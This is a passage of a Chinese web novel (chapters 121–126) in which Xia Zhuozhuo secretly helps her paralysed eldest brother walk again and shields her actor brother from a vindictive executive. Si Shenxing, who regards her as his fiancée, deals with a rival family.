可司慎行不怕他。 也有那个资本不怕他。 “是!”手下应声,一个手刀把大喊大叫的白季勇劈晕拖走。 只是白念城到底不是普通人,司慎行不想留下话柄。 所以他要有理有据有立场,叫白家人吃了亏也不敢声张。 因此司慎行打了报警电话。 来的人,不是普通的警察,而是处理古武堂的那位。 他替夏灼灼委委屈屈地说:“白家没有王法,当着我的面,想侮辱我的未婚妻。地上这些人想帮我未婚妻,也被他打了……我们就是普普通通的老百姓,做点小生意,不敢得罪白家,还请您为我们做主!” 夏灼灼在旁边瞠目结舌。 好……会演的一个人。 原来他不止当着自己的面喜欢耍无赖,对别人也会用这招。 高,实在是高。 地上那几个吓得要死,以为自己也会被殃及。 听到司慎行这么说,顿时知道自己有一线生机,当即背叛了白季勇,把黑白颠倒,站到了夏灼灼这边。 开玩笑,跟司慎行起来,白季勇算得了什么?白家又算得了什么? 当然要抱更粗的大腿。 如果不抱,那就是跟白季勇一样的下场。 他们可不想被废掉了! 司慎行对他们的表现很满意。 是识时务的。 第121章 你想嫁给他? 那位听的却是满头冷汗。 司慎行的未婚妻差点被侮辱,这些高门少爷也被打了,这可不是小事! 他当即点头。 “司先生您放心,这件事包在我身上,一定为夏小姐和这几位讨个公道!” “那就拜托方局了。” 司慎行轻轻拍了两下方局的肩膀,手上的力道很有分量。 方局也因此明白了,这件事,他必须得“好好办”。 所以白季勇当着白念城的面被废了之后,白念城闹到方局那里,直接被方局拿出一堆有的没的的证据,噎了满脸。 对方有人证有物证,那些被打的,都去医院验过伤。 白念城非但没办法帮白季勇讨好公道,还得给那些受伤的人一个公道。 他不得已一个个去登门道歉,并且许诺了很多东西,才算捂住了他们的嘴,没让他们去告白季勇。 当然—— 司慎行原本也不想把事情闹得太大,早就叮嘱过他们见好就收。 不闹大的原因,不是忌惮白念城,而是怕夏灼灼成为茶余饭后的谈资。 夏灼灼的名声,比白季勇一条命都重要。 白家当然不知道这些,他们一通忙乱,足足忙了好几天。 他们再也不敢妄想让白季勇娶夏灼灼了,也明白过来,司慎行是来真的。 他还真要娶夏灼灼。 不过这都是后话了。 司慎行因为还有别的要紧事要做,没有留多久,带着一帮手下回到了对面的西餐厅。 粤品轩因为刚才一闹,只剩下夏灼灼这一桌客人。 不过她跟什么事都没发生似的,点头夸奖夏怀瑾会点菜。 “这几道菜都很好吃。” 夏怀瑾提前叮嘱过厨房上菜慢一点,所以夏灼灼坐下吃的时候,菜都还是热的。 夏怀瑾干笑了一声。 妹姐这心态,真的是无敌了。 他就没那么多的好胃口,心里全是后怕。 他怕自己当时没看到司慎行,夏灼灼就被欺负了。 可转念一想,他家妹姐是什么人?是那些人能欺负得了的吗? 一颗心又落了下来,总算能吃进去菜了。 但他忍不住说:“妹姐,难道你不觉得……司慎行挺好的吗?” 夏灼灼把嘴里的菜咽下去,对上夏怀瑾八卦的眼神反问:“怎么?你想嫁给他?” 夏怀瑾被自己的口水呛到了,捂着嘴咳嗽。 好不容易平息了咳嗽,他佯怒地瞪了夏灼灼一眼。 “妹姐,你可别胡说,我是直的,纯正的钢铁直男。” 夏灼灼拍拍他的手背,一副很理解他的表情。 “六哥,你别看我这样,我偶尔也看这方面的书。你要是真有这个方面的想法,我也不会歧视你的,同性跟同性也不是没有真爱。” 夏怀瑾差点又被呛到了。 他说不过夏灼灼,直接认输。 “我服了你了,我不问了,好了吗?你别再开我玩笑了,回头让别人听到真要误会我找女朋友了。” 夏灼灼满意了,继续吃饭。 夏怀瑾接下来就再也不敢提司慎行了。 他本来想打探一下,看看夏灼灼有没有这方面的想法的,现在是彻底死了八卦的心了。 妹姐的事,不是谁都能八卦的。 等两个人回到了家,却没看到夏怀乐的人影。 他最近都没有别的通告,按理说应该在家。 夏怀瑾原本还打算找夏怀乐的,找了一圈没找到人,心里很纳闷。 夏灼灼却很清楚他去了哪里。 是蚊子亲自找了夏怀乐,要挖他去星耀娱乐。 哦不,现在星耀娱乐已经改名了,改名为炎享娱乐。 炎享娱乐,两个火字。 而夏灼灼的名字里,也有两个火字。 不过谁都不会把炎享娱乐跟夏灼灼联系在一起。 果然到了晚上,夏怀乐回来了,带回来一个好消息。 “妈,有人挖我去炎享娱乐,我想听听你的想法。” “炎享?” “就是之前的星耀娱乐。” 宁穗香知道星耀,是跟司享能打擂台的一家经纪公司。 她比较谨慎,问:“好端端的,他们怎么会挖你?” 就算挖,也应该挖司享的几个头牌,而不是夏怀乐这个十八线的小透明。 “我也很奇怪,但对方开出来的条件很好,而且愿意帮我支付违约金。” 宁穗香正打算让夏怀乐再考虑一下,毕竟事出反常,她怕是个陷阱。 夏灼灼在这时候开口道:“妈,我觉得可以让三哥去试试看。我听说炎享打算跟司享打擂台,估计是因为这个,才来挖三哥的。而且应该不只是三哥,肯定会挖很多人。与其等其他人都签过去了,三哥再签,不如早点去,还能得到更好的资源。” 宁穗香有些惊讶。 “你怎么知道这些?” 夏灼灼早就想好了说辞,朝宁穗香眨眨眼睛。 “妈,你忘了?我以前是追星族,对这些多多少少有点了解。” 宁穗香很宠夏灼灼,她都开口了,加上夏怀乐自己也有这个意向,就点头了。 “等他们的合同到了,我帮你拿给以前公司的律师看看,如果没有问题,就签吧。你留在司享,很难熬出头,去炎享说不定真能混出个名堂来。” “好!” 这件事就这么说定了。 到了晚上的时候,夏灼灼来到了大哥夏怀征的房间。 跟她一起过去的,还有夏六。 夏怀征本来准备洗漱就睡了,看到两个人进来,脸上浮现惊讶的神色,但随即露出高兴的表情。 他现在有了一些细微的变化,不像之前那样,只喜欢一个人待着,也开始喜欢热闹了。 这是好征兆。 “快坐。”他说。 夏灼灼坐下后,目光在夏怀征的腿上停留了两秒才移开。 她天天晚上偷跑过来给夏怀征针灸,应该有点起效了,只是夏怀征自己没注意到。 他已经习惯了不用腿,所以就不会去特意注意它们。 “大哥。”夏怀瑾率先开口:“我跟灼灼过来,是有正事想跟你说。” “你们说。” 夏怀瑾看了夏灼灼一眼,见她没开口的打算,就自己开口道:“大哥,我们是希望,你能让小七给你治疗你的腿伤。” 夏怀征脸上的高兴立刻就淡了下去。 “这件事……我说过了,不用麻烦了。我知道你们是好心,但是真的不用了。”夏怀征拒绝道。 第122章 他,能走了 夏灼灼对于夏怀征拒绝她的事没有丝毫的意外。 也是猜到会这样,她才第一时间没有开口,让夏怀瑾先提这件事。 夏怀瑾却很着急,说起了夏灼灼前两天刚进了手术室,救了国画大师赵缇的事。 “小七的医术真的很好,当时赵缇大师的那位主刀医生,现在都很崇拜小七。” 夏怀征有些意外。 他以为夏灼灼只会中医,没想到,居然还能拿手术刀。 但只是片刻,夏怀征又恢复了刚才的表情。 “真的不用了……” 夏灼灼终于开口了,她紧盯着夏怀征略显暗淡的眼神说:“大哥,你不肯让我给你治疗,是因为你胆小吗?你怕自己又升起希望,希望之后又经历绝望,所以一直拒绝我,是吗?” 夏怀征脊背一僵,明显是被说中了心事。 夏怀瑾也吓了一跳,眼神暗示她斟酌好再说话。 大哥可受不得刺激。 夏灼灼没管夏怀瑾。 如果连这点刺激都受不了,他也不配做她的大哥,更不配在以后打白知芙的脸。 好在,夏怀征没有受刺激,沉默两秒后坦率地点头。 “是,我是害怕,我是胆小……对不起,小七,让你看大哥的笑话了。” “那如果,我跟大哥你担保,你的腿,我百分之百能治好呢?你还是会拒绝我吗?” 百分百…… 夏怀征愣住了。 夏怀瑾也愣住了。 这种海口,没有一个医生敢夸下。 医生都是谨慎的,怕出现万分之一的意外,到时候就说不清楚了。 但夏灼灼敢说,因为事实的确如此。 几次治疗下来,她已经确定,自己能治好夏怀征的腿。 “你……”夏怀征的唇瓣哆嗦了下,努力找到自己的声音:“你真的能治好我的腿?” “真的,比珍珠还真。” 夏灼灼说着,从椅子上站起来,拿走了夏怀征面前的四脚助行器。 这助行器像个轻便的桌子,夏怀征自己在房间里的时候,都是靠这个移动的。 没有了助行器,他寸步难行。 不过他现在坐在沙发上,用不着助行器,只是心里很奇怪,小七把助行器拿走干什么? 夏灼灼把助行器放到距离夏怀征三米远的地方,转头又回到了夏怀征面前。 “大哥,你现在站起来,走到助行器那里去。” 夏怀征没动,表情很尴尬。 没有助行器,他一步路也走不了,夏灼灼让他走,不如让他去天上摘星星。 “小七,大哥……走不了的。” 夏灼灼却眼神坚定。 “大哥,你不试一下,怎么知道自己不行?” 夏怀瑾看不过去,走上前提醒夏灼灼:“大哥是真的……他以前试过很多次。” 夏灼灼说:“以前是以前,现在是现在。大哥,你就走一次,给我看看吧?” 夏怀征很疼夏灼灼,对这个从小走失的妹妹,她要什么,他给什么。 既然她想看自己出丑,那就只能摔一跤给她看了。 能逗妹妹笑一下,这一跤摔得就不亏。 夏怀征点了下头,双手撑着沙发扶手,慢慢站了起来,随后,迈步往前走了一步。 他是不抱任何希望的。 甚至在迈出那一步的同时,已经做好了摔下去的保护动作——双手护住自己的头。 可是没有摔倒。 他双脚稳稳地走出了那一步,身子没有半点歪斜。 夏怀征不敢置信地瞪大了眼睛,觉得自己在做梦。 夏怀瑾则是觉得自己眼睛出问题了,揉了揉眼睛,夏怀征还是稳稳站在那里。 他下意识看向夏灼灼,就看到她红唇轻弯,泄露出了脸颊上的两个小酒窝。 是的,夏灼灼看着像冷月,一副生人勿近的样子。 但她笑起来的时候,其实是有酒窝的。 只是她不怎么露出这种真心的笑,所以别人很难发现。 夏怀瑾就觉得,这应该跟夏灼灼有关,不然她不会笑得这么理所当然。 果然,只听夏灼灼说:“大哥,你再往前走几步,走到助行器这里。” 夏怀征点头,胸口因为激动,剧烈起伏着。 他告诉自己冷静下来,深吸了一口气,再次迈动脚步,往前走。 一步、两步…… 只是才走出去一半的路程,脚下突然一软,直直地朝前面扑过去。 夏灼灼眼疾手快,一把扶住了夏怀征,并且让夏怀瑾把助行器拿过来。 夏怀征扶住了助行器,重新站稳,但脸上是说不出的惊喜和兴奋。 “小七,我这……我……” 因为太激动,连一句完整的话都说不出来。 还是夏怀瑾开口问夏灼灼这是怎么一回事。 “灼灼,大哥怎么突然能走了?” 虽然只走出了不到两米的距离,但以前,哪怕走出一步路,对夏怀征来说都是奢望。 夏灼灼不再瞒着了。 她把夏怀征扶着坐回到沙发上,把前因后果说了一遍。 夏怀征听到她每晚都会偷摸溜进来替他治腿,一个一米八八的大男人,眼眶里却掉出了眼泪。 他伸手去擦,却越擦越多。 “小七,大哥谢谢你……还有,对不起……” 谢谢她,每天晚上都要这么辛苦为他治疗。 对不起她,没有答应她让她给自己治病,害得她每天晚上都只能跟做贼似的进来。 夏灼灼都懂。 她耐心地等着夏怀征哭完才再次开口:“所以,大哥,你现在愿意让我给你治腿了吗?” 夏怀征还有什么别的好说的呢? 当然是…… “愿意!” 夏灼灼点头:“既然这样,那我从今天开始,就正式为你治疗。不过你虽然是我大哥,但是我也不免费给你治疗。” 夏怀征不觉得她小气,只觉得她可爱、聪明。 女孩子就是要这样,不能白白地付出,付出就得要回报。 对钱是这样,对感情更是这样。 否则,反而会显得这个女孩子很廉价。 “你要多少钱?大哥的钱,全都给你给你,大哥一块钱都不留。” 夏灼灼说:“我不要钱,我需要大哥帮我做几件事。” “什么事?” “大哥,我实话实说,我跟白家有点仇,所以,我需要你帮我报仇。但你帮我,就得先想办法克服自己的心魔。否则等我们到了白家人的面前,对方只需要说几句话就能把你击溃了。到时候别说报仇了,你只会帮倒忙。” 第123章 夏灼灼身上的谜团 夏灼灼这话里信息量很大,她身上的谜团也很多。 比如,她一个从乡下回来的女孩,怎么会跟位高权重的白家有仇? 比如,她一个天真无邪的小女孩,竟然在想着要对付白家。 “小七,你……” 夏怀征心里有很多问题要问。 除了刚才的那些巨大信息量的话,还有她怎么会跟那些要毁掉司慎行的文件的人认识。 可对上夏灼灼那双澄澈的眼睛,突然觉得问这些问题没有意义。 他只要知道,小七需要他帮忙,所以他必须立起来。 夏怀征沉沉吐了口气,再抬起眼皮时,眼底冒出明亮的光。 比房间里的灯还要亮。 “我答应你。”他说:“我会克服自己的心魔,帮你达成你想做的事。” 夏灼灼弯唇笑了。 “好大哥,那咱们就说定了?” “说定了!” “我现在就开始帮你治疗。” 夏灼灼话不多说,让夏六把放在门口的医疗包拿过来,开始为夏怀征治疗。 今天还不能用鬼门十三针,太凶险,需要提前先吃几天的药。 她得确保万无一失。 并且,这件事不能对外说,要打白家一个措手不及。 不过治疗结束之后,夏灼灼还是把这件事提前告诉了宁穗香,免得太突然,宁穗香的心情大起大落,又影响身体。 宁穗香听她已经开始为夏怀征治疗,仍旧有些激动。 好一会儿她才找到自己的声音问:“灼灼,你有百分之几的把握?” 夏灼灼没把话说死,她说:“百分之六十。” 宁穗香又是好长时间没说话。 她在消化这个巨大的好消息。 等她终于缓过来开口,眼泪却先掉了出来。 她哽咽着说:“灼灼,你是我们家的福星。” 夏六在旁边疯狂附和。 “何止是福星,简直就是天降紫微星。您不是问我为什么叫小七妹姐吗?因为叫她妹妹,我觉得我不配,她适合当我姐。” 宁穗香看他一眼。 “你这个性格什么时候能稳重一点?” 夏六吐了吐舌头:“家里有的是稳重的人,多我一个轻挑的不是刚好压一压?不然多无聊?” “你真是……”宁穗香无奈摇头,眼底却满是宠溺。 对几个孩子,她一直精心栽培。 每一个人,都按照他们的长处来重点培养。 更可惜的是,几个儿子,竟然没一个出头的。 比如夏怀武,他从小就不爱动脑,她就让他去学武术。 可惜选错了地方,让他进了古武堂。 反而是从小不在她身边长大的夏灼灼,聪明懂事,又有不一般的医术。 她不禁怀疑,是她不会教导孩子。 因为如果是血脉的问题,夏琉璃这个非亲生的养女也是她教养大的,却是那个样子的人。 灼灼是她的亲生女儿,虽然不在她身边长大,却这么厉害。 “灼灼。” 宁穗香搂过夏灼灼的肩膀,让她依偎在自己怀里。 “你能回来,能选择留下,妈妈真的很高兴。” 夏灼灼闻着宁穗香身上的味道,只觉得全身安宁放松。 她说:“我也很高兴,我能回来。” 曾几何时,她一度以为,她在这个世界上没有亲人了。 就算有,他们也不爱她。 现在事实证明,老天爷还是很厚待她的。 虽然她吃了很多很多苦,但现在,她很幸福。 “对了。”宁穗香说:“刚才你五哥打电话回来,说他明天回家。咱们明天一家人出去好好吃一顿,就别让许姨折腾了。” 夏灼灼不是很想提夏怀武这个人。 她离开宁穗香的怀抱,转移话题:“六哥,你什么时候去公司上班?” “公司?”宁穗香有些意外:“什么公司?” 夏灼灼惊讶地看向夏怀瑾。 “六哥,你还没跟妈说?” 一向大大咧咧的夏怀瑾脸颊有两抹飘红。 原来是不好意思了。 夏灼灼便帮夏怀瑾说起了未来之境那天的事,不过忽略掉了她是江山,以及夏琉璃的事。 夏怀瑾不好意思地干咳一声,说:“我下周一去S集团上班,不过不用朝九晚五,偶尔去一趟,大部分时间可以留在家里画设计稿。” 宁穗香愣了好一会儿,随即喜笑颜开。 “你这小子,也有今天!我本来还想着如果你找不到什么适合的工作,就养你到老呢。” 夏怀瑾憋红了脸。 “妈,你这是什么话?” 宁穗香笑得更开怀了。 看着她日渐红润的脸颊,夏灼灼也笑了。 一切都在往好的方向走。 有她在,夏家只会越来越好。 夏怀瑾朝她看过来,对着她轻轻一点头。 那是道谢。 如果不是夏灼灼,夏怀瑾不会以这种方式被赏识,更不可能成为S集团的 但平心而论,夏灼灼觉得自己帮夏家的并不多。 外面都传几个哥哥是废物,但她经过深入了解,发现其实并不是这样。 他们本来就是翱翔在天空的雄鹰,只不过被人为折掉了翅膀。 而她,只是帮他们把翅膀接回去了。 但无论她“医术”怎么好,如果他们本来就是麻雀,她医术再好也是成为不了雄鹰的。 之所以很快就能重新飞翔,是因为他们本就是雄鹰。 而另一边。 司慎行洗了个澡后,正准备休息,阿麦敲门进来了。 “什么事?” 阿麦开门见山地说:“您让我查司享的事情,我查到了。” 司慎行今天忙了一天,这时候才想起来自己派阿麦去查夏怀乐为什么会在司享好几年却还是籍籍无名。 司慎行点了支烟,道:“说。” “夏怀乐是在司享出道的,刚出道的时候,出演一部小成本电视剧,虽然没有大火,但口碑很不错,也积累了一部分粉丝。” “眼看着就能更近一步的时候,遇上了一个人,死乞白赖要做他女朋友。” “他拒绝了。之后,手里的资源就全都被分走了,一直到今天,都没演过一番男主。” 说到这,阿麦看了眼司慎行,大胆卖了个关子。 “您猜,这个人是谁?” 司慎行把烟灰弹进水晶烟灰缸里。 随即吐出三个字:“司珏羽。” 阿麦错愕地瞪大眼睛,脱口而出:“您怎么知道?” “猜的。” 第124章 他飞走了 说是猜的,其实也不是全靠猜,而是靠推断。 S集团这么大,涉及的行业太广,司董事长自己不可能亲力亲为。 所以司董事长就把司享交给自己的亲弟弟,也就是司慎行的二叔打理。 他这个二叔就只有一个女儿,而且妻子早逝,他对女儿宠的没边,司珏羽因此在司享也有很大的权力。 有这个动机和能力打压夏怀乐的,也就只有司珏羽了。 而且,他了解司珏羽。 她有着不达目的誓不罢休的狠劲。 同时,她心胸狭隘,任何冒犯了她的人,她都会想办法报复,睚眦必报。 司慎行的脸色阴晴不定。 阿麦在旁边看着,心里很清楚司慎行提到司珏羽的时候,为什么会露出这样的表情。 司珏羽跟那位鸠占鹊巢的“司家大少爷”关系很好。 以前少爷还是“私生子”的时候,司珏羽没少帮着司谨言对付少爷。 只是没有一次讨得到好处。 后来司谨言自己才是私生子的事情暴露,他们本来以为司珏羽会继续针对少爷,却没想到,她反而是第一个来表忠心的。 也是她向董事长提议,送司谨言出国。 因为做了这些事,加上少爷那个时候需要积攒人脉,所以没办法动她。 后来少爷的羽翼丰满之后,因为事情太忙,就没想起来司珏羽这个人。 这次司珏羽算是撞到枪口上了。 欺负夏怀乐,就等于欺负夏灼灼,少爷是不会坐视不管的。 然而出乎阿麦意料之外的是,司慎行只是平静地说:“这件事先不要管。” “?” 阿麦疑惑地看过去。 但司慎行并没有解释的欲望,挥了挥手,让他下去休息了。 房门关上,一支烟也抽完了。 司慎行看向窗外。 云层太厚,看不到星星,明天应该是雨天。 其实……他不是不打算帮夏怀乐。 他只是想看看,夏灼灼会怎么做。 夏灼灼亲眼看到了自己的三哥是怎么被司享欺负、打压的,按照她的性格,她不会坐视不管。 他在等,等夏灼灼上门拜托他出手。 否则每次都是自己主动找她,未免太落于下风了。 只是司慎行的期待注定要落空了。 夏灼灼给蚊子打的那通电话,让蚊子对这件事亲力亲为。 所以不到两天时间,蚊子就跟夏怀乐敲定了签约的事。 夏怀乐成了星耀娱乐……哦不,现在已经改名叫炎享娱乐了。 “炎”取自夏灼灼名字里的两个火,而“享”,是广而告之,炎享要跟司享正式打擂台了。 炎享把违约金打到司享公司账号上的时候,整个司享高层都愣住了。 “挖夏怀乐?炎享是疯了吗?他挖谁不好,要挖这么一个三百八十线的?按照道理,要挖也应该是挖许星耀吧?” 这位高层因为太着急,说话有点欠缺考虑了。 旁边的人用手肘抵了下他,他才反应过来,掩鼻干咳了一声。 好在会议室里的都是自己人,几个大高层不在。 他们还没敢把这件事往上报。 如果其他艺人知道这些,恐怕会觉得无法理解。 一个三百八十线的艺人,也值得这几位这么着急,甚至第一时间都不敢往上报吗? 只有他们自己知道为什么。 夏怀乐,是珏羽大小姐看中的人。 只是这小子没眼光,居然拒绝了大小姐。 大小姐因此命令他们,要一直打压夏怀乐。 在场的人都知道,如果不是大小姐的打压,夏怀乐早就红透半边天了。 这件事看起来小得不能再小,其实是很大很大的事。 这么多年,大小姐每隔一段时间就会过来问:他知道错了吗? 这个他,就是夏怀乐。 所以他们知道,夏怀乐在大小姐心里的分量很重。 比司享几个影帝影后的分量都重。 “现在怎么办?”其中一个打破沉默,说:“打官司?” 另一个苦笑:“还打什么官司?人家违约金都直接打过来了。而且按照咱们跟夏怀乐签的合同,当初出道的时候许诺他的资源,全都没给他。打官司?倒霉丢脸的是咱们自己。” 那人沉下脸:“那这么说是没办法了?” 其他人纷纷摇头。 没办法了。 夏怀乐乘着炎享的东风飞走了。 只是他们怎么都想不明白,炎享怎么偏偏就挖了夏怀乐? 是看中了他外形条件和专业技能吗? 仔细想想,夏怀乐的外形条件的确非常优越。 演技、其他才艺,也都是顶级的。 性格也好,也恪守艺人的规矩,不会人设坍塌。 可以说,一百年就只能出这么一个。 也是因为这样,大小姐才一眼就看上了他。 “炎享的人,眼光可真刁钻!”有人说。 其他人叹气。 眼光的确刁钻、精准! 几个人商量来商量去,根本商量不出结果,只能上报。 司珏羽很快知道了这件事。 她气得把自己办公室能砸的东西都砸了。 “星耀娱乐是疯了吗?!挖谁不好?挖夏怀乐!” 办公室里几个人低着头,大气都不敢出。 司珏羽好一会儿才发泄够了。 她长得很漂亮,不比公司的女艺人外形条件差。 只是她发火的时候,脸会拧成一团,很狰狞,很吓人。 “人抓不回来了吗?”她问。 底下有人大着胆子开口:“对方已经为夏怀乐付了违约金,而且……咱们的确没履行跟夏怀乐的合同。如果硬碰硬,都时候人带不回来,说不定拿到的违约金也得还回去。” 司珏羽不在乎违约金这点钱。 司家的人,从来不缺钱。 钱对他们来说只是一个数字。 他们早已经站在金字塔顶尖。 她只在乎夏怀乐。 可手底下的人意思很明显,夏怀乐是无论如何也回不了司享了。 司珏羽又发了一顿脾气。 这次她没东西砸,就开始打人。 但她是司享的大小姐,没人敢躲开,只能硬生生忍受住了。 好在司珏羽很快就消停了。 她不知道想到了什么,挥挥手,让他们出去。 众人顿时松了一口气,逃命一样往办公室外面跑。 司珏羽心里窝火。 她做了好几个深呼吸,又点了一支女士细烟,一颗焦躁的心慢慢平静下来。 她拿出了手机,拨通了夏怀乐的电话。 只是接电话的,却是个女的,自称是夏怀乐的妹妹。 第125章 你也配知道我是谁? 司珏羽电话打给夏怀乐之前,夏怀乐正带着夏灼灼,参观他的新公司。 跟司享不一样,炎享娱乐的公司在沪城。 夏灼灼因为身份关系,从不会亲自出现在暗部的各个公司。 外面的人都以为,这些公司都是蚊子的。 而事实也是这样,各大公司挂的都是蚊子的名字。 夏灼灼给他前途,他为夏灼灼担风险,两者是一荣俱荣的存在。 也是因为不能让人知道他们的关系,所以他们很少会见面。 夏灼灼想借着这次机会见一下蚊子,夏怀乐是很好的幌子。 好在都不需要她开口,夏怀乐主动提出带她来炎享娱乐。 他说:“小七是我的福星,你说可能会有公司挖我,还真的有公司挖我了,所以我想带你去看看。” 夏灼灼本来就要提出跟夏怀乐一起过来,当然答应。 只是到了炎享娱乐之后,夏怀乐有很多事情要忙——他作为公司新签的重点艺人,需要拍摄形象照。 公司下午就会发布形象照,对外公布签了夏怀乐。 拍照的时候,夏怀乐就把他的手机交给了夏灼灼,让她帮忙保管。 也是因为这样,夏灼灼接到了司珏羽的电话。 司珏羽原本的号码早就被夏怀乐拉黑,用的是她不常用的一个号码,所以夏怀乐的手机被打通了。 夏灼灼看了眼正在忙拍摄的夏怀乐,就帮他接了。 “喂,你好,你是哪位?” 电话那头安静了足足有四五秒。 就在夏灼灼以为对方可能是打错的了的时候,传出来一道很冷的声音:“你是什么人?” 对方的语气很不好,夏灼灼眉头微皱。 可因为这是夏怀乐的手机,夏灼灼怕耽误了他的事,所以还是耐着性子解释道:“我是夏灼灼,这个手机号码的主人是我哥。你是哪位?” “夏灼灼?” 电话那头的司珏羽声音还是冷冷的。 “据我所知,夏怀乐的妹妹名字叫夏琉璃,你又是哪儿冒出来的?” 夏灼灼有点失去耐心了。 “你还没回答我,你是谁。” “就凭你,也配知道我是谁?立刻把手机给夏怀乐,否则我让你吃不了兜着走!” 听到这样的话,夏灼灼已经猜到了电话那头的人。 就是那个求爱不成,就打压夏怀乐的女人。 “你是司小姐吧?” 夏灼灼的声音平静无波。 司珏羽一愣,随即冷哼了声,说:“你既然猜到了我是谁,还不快点把手机给他?” “我哥正在忙,你有什么事,等他忙完再说吧。” “你敢不给他!” 夏灼灼唇角弯了下。 “为什么不敢?我非但敢不给他,还会把你的手机号码拉黑。” “你——” “司小姐,你身份高贵,做这种求而不得就报复的龌龊事,不觉得自降身份吗?要是传出去,不怕给司家抹黑吗?” “你是个什么东西!也配对我说这种话!” “司小姐,我最后劝你一句,以后你跟我三哥最好井水不犯河水,以前的事情,我还能当做什么都没发生。但以后你还敢再纠缠我哥,我不会放过你。” “贱人!你是从哪儿冒出来的!我……” “嘟嘟嘟——” 回应的司珏羽的,只有电话的忙音。 夏灼灼把手机挂了。 司珏羽气得立刻就又打了过来,但这次只有机械女声提醒她,对方的号码是空号。 也就是,她被拉黑了。 “贱人!贱人!” 司珏羽气得跳脚。 但夏灼灼这边可没管司珏羽会有什么反应。 夏怀乐既然已经来了炎享,司珏羽就动不了他。 而她,更不怕司珏羽。 夏灼灼把手机放回了夏怀乐的外套口袋,就跟什么都没发生一样。 夏怀乐今天要保持良好的状态,她不会让司珏羽这种恶心人的东西影响到夏怀乐的拍摄。 很快,形象照拍完了。 接下来就该录制采访视频了。 夏怀乐又去换新的一套衣服了。 夏灼灼趁着这个时间,摸出了拍摄棚,径直朝电梯口走去。 她已经提前跟蚊子打过招呼,蚊子今天会来炎享,现在应该已经在办公室等她。 他的办公室在第八层,而拍摄棚在一楼。 只是电梯门快要关上的时候,一个人喊着“等一下”。 夏灼灼不希望太多人注意到她去了八层,所以没管那人的喊声。 只是对方跑的很快,在电梯门马上就要关紧的前一秒挤了进来。 电梯门撞到那个人的肩,疼得那人倒吸了一口冷气。 “嘶——好痛!” 那人倒吸了一口气,带着抱怨的目光看向夏灼灼。 四目相对,两个人眼底都有意外。 挤进来的人不是别人,正是已经被司享开除的夏怀乐前经纪人,何锡东。 而现在,他却出现在了炎享。 何锡东也很惊讶。 还真是冤家路窄。 他很快收回了视线,就当没看到夏灼灼这个人。 夏灼灼也不想搭理他,目不斜视地盯着电梯显示屏。 何锡东按下了三楼。 等电梯到三楼的时候,他走了出去。 夏灼灼一眼就看见,三楼站了很多人,像是来面试的。 果然到了八楼,夏灼灼见到蚊子一问,确定了何锡东是来面试的。 今天公司招很多人。 炎享要越走越高,需要的人就越来越多。 夏灼灼没提跟何锡东的事。 她相信炎享的人事的眼光。 这种人,不可能通得过面试,所以根本不需要她浪费口水。 蚊子替她做了一杯卡布奇诺,上面有好看的花纹,一口喝下去,咖啡味混杂着奶香。 “很好喝。” 蚊子松了口气。 “您喜欢喝就行。乐少爷……” “你叫他名字吧,别叫顺口了,改不回来了。” “是,公司下午就会公布这次签约的新人,包括夏怀乐。我们会以最高规格介绍他们。” 夏灼灼点头,带着不容质疑的语气说:“我要他以最快的速度火起来。” 蚊子犹豫着说:“我会给他最好的资源,但火不火这件事……是玄学。” “他有爆红的体质,不会让你失望。” “好。我会帮他。” 夏灼灼“嗯”了声,又喝了口咖啡,提起另一件事。 “我二哥,夏怀呈,他投资经常失败,我希望你能帮他一把。” “夏怀呈?”蚊子有些惊讶:“他是我大学同学,成绩比我还好,眼光也好,怎么会……经常失败?” “我二哥是你的大学同学?”夏灼灼也很惊讶。 蚊子点头:“他是学校里的风雨人物,每次考试都是第一。还没毕业的时候,就拿了一个含金量很高的大学生创业大赛冠军。现在怎么会……” 夏灼灼表情不变,心里早就清楚,是有人在背后搞鬼。 不久前夏怀呈的一个项目合作方突然撤资,他急得不行,是夏灼灼让谷仔派人出面,给夏怀呈投资,解了他的燃眉之急。 夏怀呈现在做的这个游乐园项目,才能进展顺利。 只是他们还没查到,到底是什么人在背后搞鬼。 只知道,不止一个人想要夏怀呈失败。 夏灼灼把自己知道的消息告诉给了蚊子。 蚊子叹了口气:“难怪!他遇到的情况跟我一样,也是被打压。但我是因为没有后台,需要给人让位,他又是因为什么?” 夏灼灼道:“肯定也是不小心挡了谁的道吧。既然你是他大学,你知不知道,他在大学的时候,有没有跟谁起过冲突?” 蚊子摇头。 “没有,他性格很好,跟谁都处的很来。也没有情敌,因为他一直有个固定女朋友,好像从高中就在一起了。” “女朋友?”夏灼灼不知道这件事,夏家人应该也不知道,不然不会出来不提他的女朋友。 “嗯,不过我跟她也不熟,她不是我们学校的。” “你有她的联系方式吗?” “没有,不过我同寝室有一个认识她女朋友,好像也是同一个高中出来的。我可以帮你问问。” “那你帮我问到她的联系方式,如果有地址最好了。” “好,今天之内我帮你问到。” “嗯。” 时间差不多了,夏灼灼该下楼了。 “我送你下去。” “别。万一让人怀疑我们就不好了。” 蚊子只好点头,叫了自己信任的助理送夏灼灼下楼。 如果有人问起,就说夏灼灼迷路了,正好碰到了孙助理,送她去找她三哥。 出了门,走廊空空如也。 蚊子提前找了借口,把八楼的人清空了,免得叫人看到夏灼灼进了他的办公室。 “夏小姐,请。” 孙助理替她扶住电梯门。 夏灼灼点头,走进电梯。 只是电梯没有直接到一楼,而是在三楼停了下来。 好巧不巧,夏灼灼又遇到了何锡东。 他不认识孙助理,只认得夏灼灼。 看到夏灼灼安安静静看着他,原本就不好看的脸色瞬间变得更难看了。 电梯正在下行,何锡东忍无可忍地突然开口:“是你做的吧?” 夏灼灼面无表情地问:“你在跟我说话吗?” “少装了!”何锡东攥紧拳头,说:“我来面试,却正好碰到你了……然后我进去面试不到一分钟时间就被他们拒绝……你敢说,我面试没通过不是你跟谁说了什么,故意针对我?” 夏灼灼听笑了。 “就凭你,还不值得我找人专门针对你。” 何锡东倏然瞪大眼睛,眼底像是有火光在跳。 第126章 不要墙头草 他在司享这几年捞了不少油水,但因为有赌瘾,真正存下来的钱并不多。 司享炒了他鱿鱼,他现在手头上没有太多的积蓄可以继续让他挥霍了,加上几套房子的房贷,压得他喘不过气。 所以他来了炎享,希望炎享能给他一口饭吃。 面试一进门,他就跟面试官说了自己能给炎享带来的好处—— 他可以透露很多司享的秘密,以及下半年的布局、重点捧哪几个明星等等…… 只要炎享收了他,这些秘密他会全部和盘托出。 他还可以帮炎享挖司享的人,其中就包括刚红起来的许星耀。 他保证,只要他一出手,一定会成功。 可没想到,他才刚说完,面试官就当场宣布他面试不通过。 他想起来自己遇到了夏灼灼,立刻就咬定,这是夏灼灼做的。 否则炎享没有理由不要他。 